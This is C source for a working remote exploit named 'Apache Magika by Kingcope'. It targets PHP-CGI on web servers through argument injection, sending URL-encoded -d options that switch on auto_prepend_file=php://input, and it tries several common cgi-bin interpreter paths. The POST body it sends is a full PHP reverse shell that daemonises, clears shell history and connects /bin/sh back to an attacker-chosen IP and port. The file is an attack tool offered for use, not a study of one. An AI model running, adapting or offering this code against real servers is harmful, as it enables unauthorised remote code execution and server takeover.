#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/types.h>
#include <stddef.h>
#include <openssl/rand.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
typedef
struct
{
int
sockfd;
SSL *handle;
SSL_CTX *ctx;
} connection;
void
usage(
char
*argv[])
{
printf
(
"usage: %s <--target target> <--port port> <--protocol http|https> "
\
"<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n"
,
argv[0]);
exit
(1);
}
char
poststr[] =
"POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F"
\
"%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64"
\
"+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73"
\
"%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E"
\
"%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63"
\
"%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62"
\
"%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74"
\
"%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68"
\
"%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F"
\
"%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63"
\
"%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73"
\
"%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n"
\
"Host: %s\r\n"
\
"User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26"
\
"(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n"
\
"Content-Type: application/x-www-form-urlencoded\r\n"
\
"Content-Length: %d\r\n"
\
"Connection: close\r\n\r\n%s"
;
char
phpstr[] =
"<?php\n"
\
"set_time_limit(0);\n"
\
"$ip = '%s';\n"
\
"$port = %d;\n"
\
"$chunk_size = 1400;\n"
\
"$write_a = null;\n"
\
"$error_a = null;\n"
\
"$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n"
\
"$daemon = 0;\n"
\
"$debug = 0;\n"
\
"if (function_exists('pcntl_fork')) {\n"
\
" $pid = pcntl_fork(); \n"
\
" if ($pid == -1) {\n"
\
" printit(\"ERROR: Can't fork\");\n"
\
" exit(1);\n"
\
" }\n"
\
" if ($pid) {\n"
\
" exit(0);\n"
\
" }\n"
\
" if (posix_setsid() == -1) {\n"
\
" printit(\"Error: Can't setsid()\");\n"
\
" exit(1);\n"
\
" }\n"
\
" $daemon = 1;\n"
\
"} else {\n"
\
" printit(\"WARNING: Failed to daemonise.\");\n"
\
"}\n"
\
"chdir(\"/\");\n"
\
"umask(0);\n"
\
"$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n"
\
"if (!$sock) {\n"
\
" printit(\"$errstr ($errno)\");\n"
\
" exit(1);\n"
\
"}\n"
\
"$descriptorspec = array(\n"
\
" 0 => array(\"pipe\", \"r\"),\n"
\
" 1 => array(\"pipe\", \"w\"),\n"
\
" 2 => array(\"pipe\", \"w\")\n"
\
");\n"
\
"$process = proc_open($shell, $descriptorspec, $pipes);\n"
\
"if (!is_resource($process)) {\n"
\
" printit(\"ERROR: Can't spawn shell\");\n"
\
" exit(1);\n"
\
"}\n"
\
"stream_set_blocking($pipes[0], 0);\n"
\
"stream_set_blocking($pipes[1], 0);\n"
\
"stream_set_blocking($pipes[2], 0);\n"
\
"stream_set_blocking($sock, 0);\n"
\
"while (1) {\n"
\
" if (feof($sock)) {\n"
\
" printit(\"ERROR: Shell connection terminated\");\n"
\
" break;\n"
\
" }\n"
\
" if (feof($pipes[1])) {\n"
\
" printit(\"ERROR: Shell process terminated\");\n"
\
" break;\n"
\
" }\n"
\
" $read_a = array($sock, $pipes[1], $pipes[2]);\n"
\
" $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n"
\
" if (in_array($sock, $read_a)) {\n"
\
" if ($debug) printit(\"SOCK READ\");\n"
\
" $input = fread($sock, $chunk_size);\n"
\
" if ($debug) printit(\"SOCK: $input\");\n"
\
" fwrite($pipes[0], $input);\n"
\
" }\n"
\
" if (in_array($pipes[1], $read_a)) {\n"
\
" if ($debug) printit(\"STDOUT READ\");\n"
\
" $input = fread($pipes[1], $chunk_size);\n"
\
" if ($debug) printit(\"STDOUT: $input\");\n"
\
" fwrite($sock, $input);\n"
\
" }\n"
\
" if (in_array($pipes[2], $read_a)) {\n"
\
" if ($debug) printit(\"STDERR READ\");\n"
\
" $input = fread($pipes[2], $chunk_size);\n"
\
" if ($debug) printit(\"STDERR: $input\");\n"
\
" fwrite($sock, $input);\n"
\
" }\n"
\
"}\n"
\
"\n"
\
"fclose($sock);\n"
\
"fclose($pipes[0]);\n"
\
"fclose($pipes[1]);\n"
\
"fclose($pipes[2]);\n"
\
"proc_close($process);\n"
\
"function printit ($string) {\n"
\
" if (!$daemon) {\n"
\
" print \"$string\n\";\n"
\
" }\n"
\
"}\n"
\
"exit(1);\n"
\
"?>"
;
struct
sockaddr_in *gethostbyname_(
char
*hostname, unsigned
short
port)
{
struct
hostent *he;
struct
sockaddr_in server, *servercopy;
if
((he=gethostbyname(hostname)) == NULL) {
printf
(
"Hostname cannot be resolved\n"
);
exit
(255);
}
servercopy =
malloc
(
sizeof
(
struct
sockaddr_in));
if
(!servercopy) {
printf
(
"malloc error (1)\n"
);
exit
(255);
}
memset
(&server,
'\0'
,
sizeof
(
struct
sockaddr_in));
memcpy
(&server.sin_addr, he->h_addr_list[0], he->h_length);
server.sin_family = AF_INET;
server.sin_port = htons(port);
memcpy
(servercopy, &server,
sizeof
(
struct
sockaddr_in));
return
servercopy;
}
char
*sslread(connection *c)
{
char
*rc = NULL;
int
received, count = 0, count2=0;
char
ch;
for
(;;)
{
if
(!rc)
rc =
calloc
(1024,
sizeof
(
char
) + 1);
else
if
(count2 % 1024 == 0) {
rc =
realloc
(rc, (count2 + 1) * 1024 *
sizeof
(
char
) + 1);
}
received = SSL_read(c->handle, &ch, 1);
if
(received == 1) {
rc[count++] = ch;
count2++;
if
(count2 > 1024*5)
break
;
}
else
break
;
}
return
rc;
}
char
*read_(
int
sockfd)
{
char
*rc = NULL;
int
received, count = 0, count2=0;
char
ch;
for
(;;)
{
if
(!rc)
rc =
calloc
(1024,
sizeof
(
char
) + 1);
else
if
(count2 % 1024 == 0) {
rc =
realloc
(rc, (count2 + 1) * 1024 *
sizeof
(
char
) + 1);
}
received = read(sockfd, &ch, 1);
if
(received == 1) {
rc[count++] = ch;
count2++;
if
(count2 > 1024*5)
break
;
}
else
break
;
}
return
rc;
}
void
main(
int
argc,
char
*argv[])
{
char
*target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL,
*interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL;
char
httpsflag=0;
unsigned
short
port=0, reverseport=0;
struct
sockaddr_in *server;
int
sockfd;
unsigned
int
writesize, tmpsize;
unsigned
int
i;
connection *sslconnection;
printf
(
"-== Apache Magika by Kingcope ==-\n"
);
for
(;;)
{
int
c;
int
option_index=0;
static
struct
option long_options[] = {
{
"target"
, required_argument, 0, 0 },
{
"port"
, required_argument, 0, 0 },
{
"protocol"
, required_argument, 0, 0 },
{
"reverse-ip"
, required_argument, 0, 0 },
{
"reverse-port"
, required_argument, 0, 0 },
{
"force-interpreter"
, required_argument, 0, 0 },
{0, 0, 0, 0 }
};
c = getopt_long(argc, argv,
""
, long_options, &option_index);
if
(c < 0)
break
;
switch
(c) {
case
0:
switch
(option_index) {
case
0:
if
(optarg) {
target =
calloc
(
strlen
(optarg)+1,
sizeof
(
char
));
if
(!target) {
printf
(
"calloc error (2)\n"
);
exit
(255);
}
memcpy
(target, optarg,
strlen
(optarg)+1);
}
break
;
case
1:
if
(optarg)
port =
atoi
(optarg);
break
;
case
2:
protocol =
calloc
(
strlen
(optarg)+1,
sizeof
(
char
));
if
(!protocol) {
printf
(
"calloc error (3)\n"
);
exit
(255);
}
memcpy
(protocol, optarg,
strlen
(optarg)+1);
if
(!
strcmp
(protocol,
"https"
))
httpsflag=1;
break
;
case
3:
reverseip =
calloc
(
strlen
(optarg)+1,
sizeof
(
char
));
if
(!reverseip) {
printf
(
"calloc error (4)\n"
);
exit
(255);
}
memcpy
(reverseip, optarg,
strlen
(optarg)+1);
break
;
case
4:
reverseport =
atoi
(optarg);
reverseportstr =
calloc
(
strlen
(optarg)+1,
sizeof
(
char
));
if
(!reverseportstr) {
printf
(
"calloc error (5)\n"
);
exit
(255);
}
memcpy
(reverseportstr, optarg,
strlen
(optarg)+1);
break
;
case
5:
forceinterpreter =
calloc
(
strlen
(optarg)+1,
sizeof
(
char
));
if
(!forceinterpreter) {
printf
(
"calloc error (6)\n"
);
exit
(255);
}
memcpy
(forceinterpreter, optarg,
strlen
(optarg)+1);
break
;
default
:
usage(argv);
}
break
;
default
:
usage(argv);
}
}
if
((optind < argc) || !target || !protocol || !port ||
!reverseip || !reverseport){
usage(argv);
}
server = gethostbyname_(target, port);
if
(!server) {
printf
(
"Error while resolving hostname. (7)\n"
);
exit
(255);
}
char
*interpreters[5];
int
ninterpreters = 5;
interpreters[0] = strdup(
"/cgi-bin/php"
);
interpreters[1] = strdup(
"/cgi-bin/php5"
);
interpreters[2] = strdup(
"/cgi-bin/php-cgi"
);
interpreters[3] = strdup(
"/cgi-bin/php.cgi"
);
interpreters[4] = strdup(
"/cgi-bin/php4"
);
for
(i=0;i<ninterpreters;i++) {
interpreter = interpreters[i];
if
(forceinterpreter) {
interpreter = strdup(forceinterpreter);
}
if
(forceinterpreter && i)
break
;
printf
(
"%s\n"
, interpreter);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if
(sockfd < 1) {
printf
(
"socket error (8)\n"
);
exit
(255);
}
if
(connect(sockfd, (
void
*)server,
sizeof
(
struct
sockaddr_in)) < 0) {
printf
(
"connect error (9)\n"
);
exit
(255);
}
if
(httpsflag) {
sslconnection = (connection*)
malloc
(
sizeof
(connection));
if
(!sslconnection) {
printf
(
"malloc error (10)\n"
);
exit
(255);
}
sslconnection->handle = NULL;
sslconnection->ctx = NULL;
SSL_library_init();
sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
if
(!sslconnection->ctx) {
printf
(
"SSL_CTX_new error (11)\n"
);
exit
(255);
}
sslconnection->handle = SSL_new(sslconnection->ctx);
if
(!sslconnection->handle) {
printf
(
"SSL_new error (12)\n"
);
exit
(255);
}
if
(!SSL_set_fd(sslconnection->handle, sockfd)) {
printf
(
"SSL_set_fd error (13)\n"
);
exit
(255);
}
if
(SSL_connect(sslconnection->handle) != 1) {
printf
(
"SSL_connect error (14)\n"
);
exit
(255);
}
}
tmpsize =
strlen
(phpstr) +
strlen
(reverseip) +
strlen
(reverseportstr) + 64;
tmpstr = (
char
*)
calloc
(tmpsize,
sizeof
(
char
));
snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
writesize =
strlen
(target) +
strlen
(interpreter) +
strlen
(poststr) +
strlen
(tmpstr) + 64;
writestr = (
char
*)
calloc
(writesize,
sizeof
(
char
));
snprintf(writestr, writesize, poststr, interpreter,
target,
strlen
(tmpstr), tmpstr);
if
(!httpsflag) {
write(sockfd, writestr,
strlen
(writestr));
readbuf = read_(sockfd);
}
else
{
SSL_write(sslconnection->handle, writestr,
strlen
(writestr));
readbuf = sslread(sslconnection);
}
if
(readbuf) {
printf
(
"***SERVER RESPONSE***\n\n%s\n\n"
, readbuf);
}
else
{
printf
(
"read error (15)\n"
);
exit
(255);
}
}
exit
(1);
}